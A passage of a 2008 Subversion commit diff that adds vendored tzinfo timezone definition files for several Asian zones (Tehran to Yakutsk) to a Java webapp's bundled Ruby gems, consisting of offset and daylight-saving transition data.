+          tz.transition 2000, 10, :o8, 972759600
+          tz.transition 2001, 3, :o9, 985464000
+          tz.transition 2001, 10, :o8, 1004209200
+          tz.transition 2002, 3, :o9, 1017518400
+          tz.transition 2002, 10, :o8, 1035658800
+          tz.transition 2003, 3, :o9, 1048968000
+          tz.transition 2003, 10, :o8, 1067108400
+          tz.transition 2004, 3, :o9, 1080417600
+          tz.transition 2004, 6, :o6, 1088276400
+          tz.transition 2004, 10, :o7, 1099177200
+          tz.transition 2005, 3, :o8, 1111878000
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tehran.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tehran.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tehran.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,121 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Tehran
+        include TimezoneDefinition
+        
+        timezone 'Asia/Tehran' do |tz|
+          tz.offset :o0, 12344, 0, :LMT
+          tz.offset :o1, 12344, 0, :TMT
+          tz.offset :o2, 12600, 0, :IRST
+          tz.offset :o3, 14400, 0, :IRST
+          tz.offset :o4, 14400, 3600, :IRDT
+          tz.offset :o5, 12600, 3600, :IRDT
+          
+          tz.transition 1915, 12, :o1, 26145324257, 10800
+          tz.transition 1945, 12, :o2, 26263670657, 10800
+          tz.transition 1977, 10, :o3, 247177800
+          tz.transition 1978, 3, :o4, 259272000
+          tz.transition 1978, 10, :o3, 277758000
+          tz.transition 1978, 12, :o2, 283982400
+          tz.transition 1979, 3, :o5, 290809800
+          tz.transition 1979, 9, :o2, 306531000
+          tz.transition 1980, 3, :o5, 322432200
+          tz.transition 1980, 9, :o2, 338499000
+          tz.transition 1991, 5, :o5, 673216200
+          tz.transition 1991, 9, :o2, 685481400
+          tz.transition 1992, 3, :o5, 701209800
+          tz.transition 1992, 9, :o2, 717103800
+          tz.transition 1993, 3, :o5, 732745800
+          tz.transition 1993, 9, :o2, 748639800
+          tz.transition 1994, 3, :o5, 764281800
+          tz.transition 1994, 9, :o2, 780175800
+          tz.transition 1995, 3, :o5, 795817800
+          tz.transition 1995, 9, :o2, 811711800
+          tz.transition 1996, 3, :o5, 827353800
+          tz.transition 1996, 9, :o2, 843247800
+          tz.transition 1997, 3, :o5, 858976200
+          tz.transition 1997, 9, :o2, 874870200
+          tz.transition 1998, 3, :o5, 890512200
+          tz.transition 1998, 9, :o2, 906406200
+          tz.transition 1999, 3, :o5, 922048200
+          tz.transition 1999, 9, :o2, 937942200
+          tz.transition 2000, 3, :o5, 953584200
+          tz.transition 2000, 9, :o2, 969478200
+          tz.transition 2001, 3, :o5, 985206600
+          tz.transition 2001, 9, :o2, 1001100600
+          tz.transition 2002, 3, :o5, 1016742600
+          tz.transition 2002, 9, :o2, 1032636600
+          tz.transition 2003, 3, :o5, 1048278600
+          tz.transition 2003, 9, :o2, 1064172600
+          tz.transition 2004, 3, :o5, 1079814600
+          tz.transition 2004, 9, :o2, 1095708600
+          tz.transition 2005, 3, :o5, 1111437000
+          tz.transition 2005, 9, :o2, 1127331000
+          tz.transition 2008, 3, :o5, 1206045000
+          tz.transition 2008, 9, :o2, 1221939000
+          tz.transition 2009, 3, :o5, 1237667400
+          tz.transition 2009, 9, :o2, 1253561400
+          tz.transition 2010, 3, :o5, 1269203400
+          tz.transition 2010, 9, :o2, 1285097400
+          tz.transition 2011, 3, :o5, 1300739400
+          tz.transition 2011, 9, :o2, 1316633400
+          tz.transition 2012, 3, :o5, 1332275400
+          tz.transition 2012, 9, :o2, 1348169400
+          tz.transition 2013, 3, :o5, 1363897800
+          tz.transition 2013, 9, :o2, 1379791800
+          tz.transition 2014, 3, :o5, 1395433800
+          tz.transition 2014, 9, :o2, 1411327800
+          tz.transition 2015, 3, :o5, 1426969800
+          tz.transition 2015, 9, :o2, 1442863800
+          tz.transition 2016, 3, :o5, 1458505800
+          tz.transition 2016, 9, :o2, 1474399800
+          tz.transition 2017, 3, :o5, 1490128200
+          tz.transition 2017, 9, :o2, 1506022200
+          tz.transition 2018, 3, :o5, 1521664200
+          tz.transition 2018, 9, :o2, 1537558200
+          tz.transition 2019, 3, :o5, 1553200200
+          tz.transition 2019, 9, :o2, 1569094200
+          tz.transition 2020, 3, :o5, 1584736200
+          tz.transition 2020, 9, :o2, 1600630200
+          tz.transition 2021, 3, :o5, 1616358600
+          tz.transition 2021, 9, :o2, 1632252600
+          tz.transition 2022, 3, :o5, 1647894600
+          tz.transition 2022, 9, :o2, 1663788600
+          tz.transition 2023, 3, :o5, 1679430600
+          tz.transition 2023, 9, :o2, 1695324600
+          tz.transition 2024, 3, :o5, 1710966600
+          tz.transition 2024, 9, :o2, 1726860600
+          tz.transition 2025, 3, :o5, 1742589000
+          tz.transition 2025, 9, :o2, 1758483000
+          tz.transition 2026, 3, :o5, 1774125000
+          tz.transition 2026, 9, :o2, 1790019000
+          tz.transition 2027, 3, :o5, 1805661000
+          tz.transition 2027, 9, :o2, 1821555000
+          tz.transition 2028, 3, :o5, 1837197000
+          tz.transition 2028, 9, :o2, 1853091000
+          tz.transition 2029, 3, :o5, 1868733000
+          tz.transition 2029, 9, :o2, 1884627000
+          tz.transition 2030, 3, :o5, 1900355400
+          tz.transition 2030, 9, :o2, 1916249400
+          tz.transition 2031, 3, :o5, 1931891400
+          tz.transition 2031, 9, :o2, 1947785400
+          tz.transition 2032, 3, :o5, 1963427400
+          tz.transition 2032, 9, :o2, 1979321400
+          tz.transition 2033, 3, :o5, 1994963400
+          tz.transition 2033, 9, :o2, 2010857400
+          tz.transition 2034, 3, :o5, 2026585800
+          tz.transition 2034, 9, :o2, 2042479800
+          tz.transition 2035, 3, :o5, 2058121800
+          tz.transition 2035, 9, :o2, 2074015800
+          tz.transition 2036, 3, :o5, 2089657800
+          tz.transition 2036, 9, :o2, 2105551800
+          tz.transition 2037, 3, :o5, 2121193800
+          tz.transition 2037, 9, :o2, 2137087800
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tokyo.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tokyo.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tokyo.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Tokyo
+        include TimezoneDefinition
+        
+        timezone 'Asia/Tokyo' do |tz|
+          tz.offset :o0, 33539, 0, :LMT
+          tz.offset :o1, 32400, 0, :JST
+          tz.offset :o2, 32400, 0, :CJT
+          tz.offset :o3, 32400, 3600, :JDT
+          
+          tz.transition 1887, 12, :o1, 19285097, 8
+          tz.transition 1895, 12, :o2, 19308473, 8
+          tz.transition 1937, 12, :o1, 19431193, 8
+          tz.transition 1948, 5, :o3, 58384157, 24
+          tz.transition 1948, 9, :o1, 14596831, 6
+          tz.transition 1949, 4, :o3, 58392221, 24
+          tz.transition 1949, 9, :o1, 14599015, 6
+          tz.transition 1950, 5, :o3, 58401797, 24
+          tz.transition 1950, 9, :o1, 14601199, 6
+          tz.transition 1951, 5, :o3, 58410533, 24
+          tz.transition 1951, 9, :o1, 14603383, 6
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Ulaanbaatar.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Ulaanbaatar.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Ulaanbaatar.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,65 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Ulaanbaatar
+        include TimezoneDefinition
+        
+        timezone 'Asia/Ulaanbaatar' do |tz|
+          tz.offset :o0, 25652, 0, :LMT
+          tz.offset :o1, 25200, 0, :ULAT
+          tz.offset :o2, 28800, 0, :ULAT
+          tz.offset :o3, 28800, 3600, :ULAST
+          
+          tz.transition 1905, 7, :o1, 52208457187, 21600
+          tz.transition 1977, 12, :o2, 252435600
+          tz.transition 1983, 3, :o3, 417974400
+          tz.transition 1983, 9, :o2, 433782000
+          tz.transition 1984, 3, :o3, 449596800
+          tz.transition 1984, 9, :o2, 465318000
+          tz.transition 1985, 3, :o3, 481046400
+          tz.transition 1985, 9, :o2, 496767600
+          tz.transition 1986, 3, :o3, 512496000
+          tz.transition 1986, 9, :o2, 528217200
+          tz.transition 1987, 3, :o3, 543945600
+          tz.transition 1987, 9, :o2, 559666800
+          tz.transition 1988, 3, :o3, 575395200
+          tz.transition 1988, 9, :o2, 591116400
+          tz.transition 1989, 3, :o3, 606844800
+          tz.transition 1989, 9, :o2, 622566000
+          tz.transition 1990, 3, :o3, 638294400
+          tz.transition 1990, 9, :o2, 654620400
+          tz.transition 1991, 3, :o3, 670348800
+          tz.transition 1991, 9, :o2, 686070000
+          tz.transition 1992, 3, :o3, 701798400
+          tz.transition 1992, 9, :o2, 717519600
+          tz.transition 1993, 3, :o3, 733248000
+          tz.transition 1993, 9, :o2, 748969200
+          tz.transition 1994, 3, :o3, 764697600
+          tz.transition 1994, 9, :o2, 780418800
+          tz.transition 1995, 3, :o3, 796147200
+          tz.transition 1995, 9, :o2, 811868400
+          tz.transition 1996, 3, :o3, 828201600
+          tz.transition 1996, 9, :o2, 843922800
+          tz.transition 1997, 3, :o3, 859651200
+          tz.transition 1997, 9, :o2, 875372400
+          tz.transition 1998, 3, :o3, 891100800
+          tz.transition 1998, 9, :o2, 906822000
+          tz.transition 2001, 4, :o3, 988394400
+          tz.transition 2001, 9, :o2, 1001696400
+          tz.transition 2002, 3, :o3, 1017424800
+          tz.transition 2002, 9, :o2, 1033146000
+          tz.transition 2003, 3, :o3, 1048874400
+          tz.transition 2003, 9, :o2, 1064595600
+          tz.transition 2004, 3, :o3, 1080324000
+          tz.transition 2004, 9, :o2, 1096045200
+          tz.transition 2005, 3, :o3, 1111773600
+          tz.transition 2005, 9, :o2, 1127494800
+          tz.transition 2006, 3, :o3, 1143223200
+          tz.transition 2006, 9, :o2, 1159549200
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Urumqi.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Urumqi.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Urumqi.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,33 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Urumqi
+        include TimezoneDefinition
+        
+        timezone 'Asia/Urumqi' do |tz|
+          tz.offset :o0, 21020, 0, :LMT
+          tz.offset :o1, 21600, 0, :URUT
+          tz.offset :o2, 28800, 0, :CST
+          tz.offset :o3, 28800, 3600, :CDT
+          
+          tz.transition 1927, 12, :o1, 10477063829, 4320
+          tz.transition 1980, 4, :o2, 325965600
+          tz.transition 1986, 5, :o3, 515520000
+          tz.transition 1986, 9, :o2, 527007600
+          tz.transition 1987, 4, :o3, 545155200
+          tz.transition 1987, 9, :o2, 558457200
+          tz.transition 1988, 4, :o3, 576604800
+          tz.transition 1988, 9, :o2, 589906800
+          tz.transition 1989, 4, :o3, 608659200
+          tz.transition 1989, 9, :o2, 621961200
+          tz.transition 1990, 4, :o3, 640108800
+          tz.transition 1990, 9, :o2, 653410800
+          tz.transition 1991, 4, :o3, 671558400
+          tz.transition 1991, 9, :o2, 684860400
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Vladivostok.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Vladivostok.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Vladivostok.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,164 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Vladivostok
+        include TimezoneDefinition
+        
+        timezone 'Asia/Vladivostok' do |tz|
+          tz.offset :o0, 31664, 0, :LMT
+          tz.offset :o1, 32400, 0, :VLAT
+          tz.offset :o2, 36000, 0, :VLAT
+          tz.offset :o3, 36000, 3600, :VLAST
+          tz.offset :o4, 32400, 3600, :VLASST
+          tz.offset :o5, 32400, 0, :VLAST
+          
+          tz.transition 1922, 11, :o1, 13086214921, 5400
+          tz.transition 1930, 6, :o2, 19409185, 8
+          tz.transition 1981, 3, :o3, 354895200
+          tz.transition 1981, 9, :o2, 370702800
+          tz.transition 1982, 3, :o3, 386431200
+          tz.transition 1982, 9, :o2, 402238800
+          tz.transition 1983, 3, :o3, 417967200
+          tz.transition 1983, 9, :o2, 433774800
+          tz.transition 1984, 3, :o3, 449589600
+          tz.transition 1984, 9, :o2, 465321600
+          tz.transition 1985, 3, :o3, 481046400
+          tz.transition 1985, 9, :o2, 496771200
+          tz.transition 1986, 3, :o3, 512496000
+          tz.transition 1986, 9, :o2, 528220800
+          tz.transition 1987, 3, :o3, 543945600
+          tz.transition 1987, 9, :o2, 559670400
+          tz.transition 1988, 3, :o3, 575395200
+          tz.transition 1988, 9, :o2, 591120000
+          tz.transition 1989, 3, :o3, 606844800
+          tz.transition 1989, 9, :o2, 622569600
+          tz.transition 1990, 3, :o3, 638294400
+          tz.transition 1990, 9, :o2, 654624000
+          tz.transition 1991, 3, :o4, 670348800
+          tz.transition 1991, 9, :o5, 686077200
+          tz.transition 1992, 1, :o2, 695754000
+          tz.transition 1992, 3, :o3, 701787600
+          tz.transition 1992, 9, :o2, 717508800
+          tz.transition 1993, 3, :o3, 733248000
+          tz.transition 1993, 9, :o2, 748972800
+          tz.transition 1994, 3, :o3, 764697600
+          tz.transition 1994, 9, :o2, 780422400
+          tz.transition 1995, 3, :o3, 796147200
+          tz.transition 1995, 9, :o2, 811872000
+          tz.transition 1996, 3, :o3, 828201600
+          tz.transition 1996, 10, :o2, 846345600
+          tz.transition 1997, 3, :o3, 859651200
+          tz.transition 1997, 10, :o2, 877795200
+          tz.transition 1998, 3, :o3, 891100800
+          tz.transition 1998, 10, :o2, 909244800
+          tz.transition 1999, 3, :o3, 922550400
+          tz.transition 1999, 10, :o2, 941299200
+          tz.transition 2000, 3, :o3, 954000000
+          tz.transition 2000, 10, :o2, 972748800
+          tz.transition 2001, 3, :o3, 985449600
+          tz.transition 2001, 10, :o2, 1004198400
+          tz.transition 2002, 3, :o3, 1017504000
+          tz.transition 2002, 10, :o2, 1035648000
+          tz.transition 2003, 3, :o3, 1048953600
+          tz.transition 2003, 10, :o2, 1067097600
+          tz.transition 2004, 3, :o3, 1080403200
+          tz.transition 2004, 10, :o2, 1099152000
+          tz.transition 2005, 3, :o3, 1111852800
+          tz.transition 2005, 10, :o2, 1130601600
+          tz.transition 2006, 3, :o3, 1143302400
+          tz.transition 2006, 10, :o2, 1162051200
+          tz.transition 2007, 3, :o3, 1174752000
+          tz.transition 2007, 10, :o2, 1193500800
+          tz.transition 2008, 3, :o3, 1206806400
+          tz.transition 2008, 10, :o2, 1224950400
+          tz.transition 2009, 3, :o3, 1238256000
+          tz.transition 2009, 10, :o2, 1256400000
+          tz.transition 2010, 3, :o3, 1269705600
+          tz.transition 2010, 10, :o2, 1288454400
+          tz.transition 2011, 3, :o3, 1301155200
+          tz.transition 2011, 10, :o2, 1319904000
+          tz.transition 2012, 3, :o3, 1332604800
+          tz.transition 2012, 10, :o2, 1351353600
+          tz.transition 2013, 3, :o3, 1364659200
+          tz.transition 2013, 10, :o2, 1382803200
+          tz.transition 2014, 3, :o3, 1396108800
+          tz.transition 2014, 10, :o2, 1414252800
+          tz.transition 2015, 3, :o3, 1427558400
+          tz.transition 2015, 10, :o2, 1445702400
+          tz.transition 2016, 3, :o3, 1459008000
+          tz.transition 2016, 10, :o2, 1477756800
+          tz.transition 2017, 3, :o3, 1490457600
+          tz.transition 2017, 10, :o2, 1509206400
+          tz.transition 2018, 3, :o3, 1521907200
+          tz.transition 2018, 10, :o2, 1540656000
+          tz.transition 2019, 3, :o3, 1553961600
+          tz.transition 2019, 10, :o2, 1572105600
+          tz.transition 2020, 3, :o3, 1585411200
+          tz.transition 2020, 10, :o2, 1603555200
+          tz.transition 2021, 3, :o3, 1616860800
+          tz.transition 2021, 10, :o2, 1635609600
+          tz.transition 2022, 3, :o3, 1648310400
+          tz.transition 2022, 10, :o2, 1667059200
+          tz.transition 2023, 3, :o3, 1679760000
+          tz.transition 2023, 10, :o2, 1698508800
+          tz.transition 2024, 3, :o3, 1711814400
+          tz.transition 2024, 10, :o2, 1729958400
+          tz.transition 2025, 3, :o3, 1743264000
+          tz.transition 2025, 10, :o2, 1761408000
+          tz.transition 2026, 3, :o3, 1774713600
+          tz.transition 2026, 10, :o2, 1792857600
+          tz.transition 2027, 3, :o3, 1806163200
+          tz.transition 2027, 10, :o2, 1824912000
+          tz.transition 2028, 3, :o3, 1837612800
+          tz.transition 2028, 10, :o2, 1856361600
+          tz.transition 2029, 3, :o3, 1869062400
+          tz.transition 2029, 10, :o2, 1887811200
+          tz.transition 2030, 3, :o3, 1901116800
+          tz.transition 2030, 10, :o2, 1919260800
+          tz.transition 2031, 3, :o3, 1932566400
+          tz.transition 2031, 10, :o2, 1950710400
+          tz.transition 2032, 3, :o3, 1964016000
+          tz.transition 2032, 10, :o2, 1982764800
+          tz.transition 2033, 3, :o3, 1995465600
+          tz.transition 2033, 10, :o2, 2014214400
+          tz.transition 2034, 3, :o3, 2026915200
+          tz.transition 2034, 10, :o2, 2045664000
+          tz.transition 2035, 3, :o3, 2058364800
+          tz.transition 2035, 10, :o2, 2077113600
+          tz.transition 2036, 3, :o3, 2090419200
+          tz.transition 2036, 10, :o2, 2108563200
+          tz.transition 2037, 3, :o3, 2121868800
+          tz.transition 2037, 10, :o2, 2140012800
+          tz.transition 2038, 3, :o3, 14793061, 6
+          tz.transition 2038, 10, :o2, 14794363, 6
+          tz.transition 2039, 3, :o3, 14795245, 6
+          tz.transition 2039, 10, :o2, 14796547, 6
+          tz.transition 2040, 3, :o3, 14797429, 6
+          tz.transition 2040, 10, :o2, 14798731, 6
+          tz.transition 2041, 3, :o3, 14799655, 6
+          tz.transition 2041, 10, :o2, 14800915, 6
+          tz.transition 2042, 3, :o3, 14801839, 6
+          tz.transition 2042, 10, :o2, 14803099, 6
+          tz.transition 2043, 3, :o3, 14804023, 6
+          tz.transition 2043, 10, :o2, 14805283, 6
+          tz.transition 2044, 3, :o3, 14806207, 6
+          tz.transition 2044, 10, :o2, 14807509, 6
+          tz.transition 2045, 3, :o3, 14808391, 6
+          tz.transition 2045, 10, :o2, 14809693, 6
+          tz.transition 2046, 3, :o3, 14810575, 6
+          tz.transition 2046, 10, :o2, 14811877, 6
+          tz.transition 2047, 3, :o3, 14812801, 6
+          tz.transition 2047, 10, :o2, 14814061, 6
+          tz.transition 2048, 3, :o3, 14814985, 6
+          tz.transition 2048, 10, :o2, 14816245, 6
+          tz.transition 2049, 3, :o3, 14817169, 6
+          tz.transition 2049, 10, :o2, 14818471, 6
+          tz.transition 2050, 3, :o3, 14819353, 6
+          tz.transition 2050, 10, :o2, 14820655, 6
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yakutsk.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yakutsk.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yakutsk.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,163 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Yakutsk
+        include TimezoneDefinition
+        
+        timezone 'Asia/Yakutsk' do |tz|
+          tz.offset :o0, 31120, 0, :LMT
+          tz.offset :o1, 28800, 0, :YAKT
+          tz.offset :o2, 32400, 0, :YAKT
+          tz.offset :o3, 32400, 3600, :YAKST
+          tz.offset :o4, 28800, 3600, :YAKST
+          
+          tz.transition 1919, 12, :o1, 2616091711, 1080
+          tz.transition 1930, 6, :o2, 14556889, 6
+          tz.transition 1981, 3, :o3, 354898800
+          tz.transition 1981, 9, :o2, 370706400
+          tz.transition 1982, 3, :o3, 386434800
+          tz.transition 1982, 9, :o2, 402242400
+          tz.transition 1983, 3, :o3, 417970800
+          tz.transition 1983, 9, :o2, 433778400
+          tz.transition 1984, 3, :o3, 449593200
+          tz.transition 1984, 9, :o2, 465325200
+          tz.transition 1985, 3, :o3, 481050000
+          tz.transition 1985, 9, :o2, 496774800
+          tz.transition 1986, 3, :o3, 512499600
+          tz.transition 1986, 9, :o2, 528224400
+          tz.transition 1987, 3, :o3, 543949200
+          tz.transition 1987, 9, :o2, 559674000
+          tz.transition 1988, 3, :o3, 575398800
+          tz.transition 1988, 9, :o2, 591123600
+          tz.transition 1989, 3, :o3, 606848400
+          tz.transition 1989, 9, :o2, 622573200
+          tz.transition 1990, 3, :o3, 638298000
+          tz.transition 1990, 9, :o2, 654627600
+          tz.transition 1991, 3, :o4, 670352400
+          tz.transition 1991, 9, :o1, 686080800
+          tz.transition 1992, 1, :o2, 695757600
+          tz.transition 1992, 3, :o3, 701791200
+          tz.transition 1992, 9, :o2, 717512400
+          tz.transition 1993, 3, :o3, 733251600
+          tz.transition 1993, 9, :o2, 748976400
+          tz.transition 1994, 3, :o3, 764701200
+          tz.transition 1994, 9, :o2, 780426000
+          tz.transition 1995, 3, :o3, 796150800
+          tz.transition 1995, 9, :o2, 811875600
+          tz.transition 1996, 3, :o3, 828205200
+          tz.transition 1996, 10, :o2, 846349200
+          tz.transition 1997, 3, :o3, 859654800
+          tz.transition 1997, 10, :o2, 877798800
+          tz.transition 1998, 3, :o3, 891104400
+          tz.transition 1998, 10, :o2, 909248400
+          tz.transition 1999, 3, :o3, 922554000
+          tz.transition 1999, 10, :o2, 941302800
+          tz.transition 2000, 3, :o3, 954003600
+          tz.transition 2000, 10, :o2, 972752400
+          tz.transition 2001, 3, :o3, 985453200
+          tz.transition 2001, 10, :o2, 1004202000
+          tz.transition 2002, 3, :o3, 1017507600
+          tz.transition 2002, 10, :o2, 1035651600
+          tz.transition 2003, 3, :o3, 1048957200
+          tz.transition 2003, 10, :o2, 1067101200
+          tz.transition 2004, 3, :o3, 1080406800
+          tz.transition 2004, 10, :o2, 1099155600
+          tz.transition 2005, 3, :o3, 1111856400
+          tz.transition 2005, 10, :o2, 1130605200
+          tz.transition 2006, 3, :o3, 1143306000
+          tz.transition 2006, 10, :o2, 1162054800
+          tz.transition 2007, 3, :o3, 1174755600
+          tz.transition 2007, 10, :o2, 1193504400
+          tz.transition 2008, 3, :o3, 1206810000
+          tz.transition 2008, 10, :o2, 1224954000
+          tz.transition 2009, 3, :o3, 1238259600
+          tz.transition 2009, 10, :o2, 1256403600
+          tz.transition 2010, 3, :o3, 1269709200
+          tz.transition 2010, 10, :o2, 1288458000
+          tz.transition 2011, 3, :o3, 1301158800
+          tz.transition 2011, 10, :o2, 1319907600
+          tz.transition 2012, 3, :o3, 1332608400
+          tz.transition 2012, 10, :o2, 1351357200
+          tz.transition 2013, 3, :o3, 1364662800
+          tz.transition 2013, 10, :o2, 1382806800
+          tz.transition 2014, 3, :o3, 1396112400
+          tz.transition 2014, 10, :o2, 1414256400
+          tz.transition 2015, 3, :o3, 1427562000
+          tz.transition 2015, 10, :o2, 1445706000
+          tz.transition 2016, 3, :o3, 1459011600
+          tz.transition 2016, 10, :o2, 1477760400
+          tz.transition 2017, 3, :o3, 1490461200
+          tz.transition 2017, 10, :o2, 1509210000
+          tz.transition 2018, 3, :o3, 1521910800
+          tz.transition 2018, 10, :o2, 1540659600
+          tz.transition 2019, 3, :o3, 1553965200
+          tz.transition 2019, 10, :o2, 1572109200
+          tz.transition 2020, 3, :o3, 1585414800
+          tz.transition 2020, 10, :o2, 1603558800
+          tz.transition 2021, 3, :o3, 1616864400
+          tz.transition 2021, 10, :o2, 1635613200
+          tz.transition 2022, 3, :o3, 1648314000
+          tz.transition 2022, 10, :o2, 1667062800
+          tz.transition 2023, 3, :o3, 1679763600
+          tz.transition 2023, 10, :o2, 1698512400
+          tz.transition 2024, 3, :o3, 1711818000
+          tz.transition 2024, 10, :o2, 1729962000
+          tz.transition 2025, 3, :o3, 1743267600
+          tz.transition 2025, 10, :o2, 1761411600
+          tz.transition 2026, 3, :o3, 1774717200
+          tz.transition 2026, 10, :o2, 1792861200
+          tz.transition 2027, 3, :o3, 1806166800
+          tz.transition 2027, 10, :o2, 1824915600
+          tz.transition 2028, 3, :o3, 1837616400
+          tz.transition 2028, 10, :o2, 1856365200
+          tz.transition 2029, 3, :o3, 1869066000
+          tz.transition 2029, 10, :o2, 1887814800
+          tz.transition 2030, 3, :o3, 1901120400
+          tz.transition 2030, 10, :o2, 1919264400
+          tz.transition 2031, 3, :o3, 1932570000
+          tz.transition 2031, 10, :o2, 1950714000
+          tz.transition 2032, 3, :o3, 1964019600
+          tz.transition 2032, 10, :o2, 1982768400
+          tz.transition 2033, 3, :o3, 1995469200
+          tz.transition 2033, 10, :o2, 2014218000
+          tz.transition 2034, 3, :o3, 2026918800
+          tz.transition 2034, 10, :o2, 2045667600
+          tz.transition 2035, 3, :o3, 2058368400
+          tz.transition 2035, 10, :o2, 2077117200
+          tz.transition 2036, 3, :o3, 2090422800
+          tz.transition 2036, 10, :o2, 2108566800
+          tz.transition 2037, 3, :o3, 2121872400
+          tz.transition 2037, 10, :o2, 2140016400
+          tz.transition 2038, 3, :o3, 59172245, 24
+          tz.transition 2038, 10, :o2, 59177453, 24
+          tz.transition 2039, 3, :o3, 59180981, 24
+          tz.transition 2039, 10, :o2, 59186189, 24
+          tz.transition 2040, 3, :o3, 59189717, 24
+          tz.transition 2040, 10, :o2, 59194925, 24
+          tz.transition 2041, 3, :o3, 59198621, 24
+          tz.transition 2041, 10, :o2, 59203661, 24
+          tz.transition 2042, 3, :o3, 59207357, 24
+          tz.transition 2042, 10, :o2, 59212397, 24
+          tz.transition 2043, 3, :o3, 59216093, 24
+          tz.transition 2043, 10, :o2, 59221133, 24
+          tz.transition 2044, 3, :o3, 59224829, 24
+          tz.transition 2044, 10, :o2, 59230037, 24
+          tz.transition 2045, 3, :o3, 59233565, 24
+          tz.transition 2045, 10, :o2, 59238773, 24
+          tz.transition 2046, 3, :o3, 59242301, 24
+          tz.transition 2046, 10, :o2, 59247509, 24
+          tz.transition 2047, 3, :o3, 59251205, 24
+          tz.transition 2047, 10, :o2, 59256245, 24
+          tz.transition 2048, 3, :o3, 59259941, 24
+          tz.transition 2048, 10, :o2, 59264981, 24
+          tz.transition 2049, 3, :o3, 59268677, 24
+          tz.transition 2049, 10, :o2, 59273885, 24
+          tz.transition 2050, 3, :o3, 59277413, 24
+          tz.transition 2050, 10, :o2, 59282621, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yekaterinburg.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yekaterinburg.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Yekaterinburg.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,165 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Asia
+      module Yekaterinburg
+        include TimezoneDefinition
+        
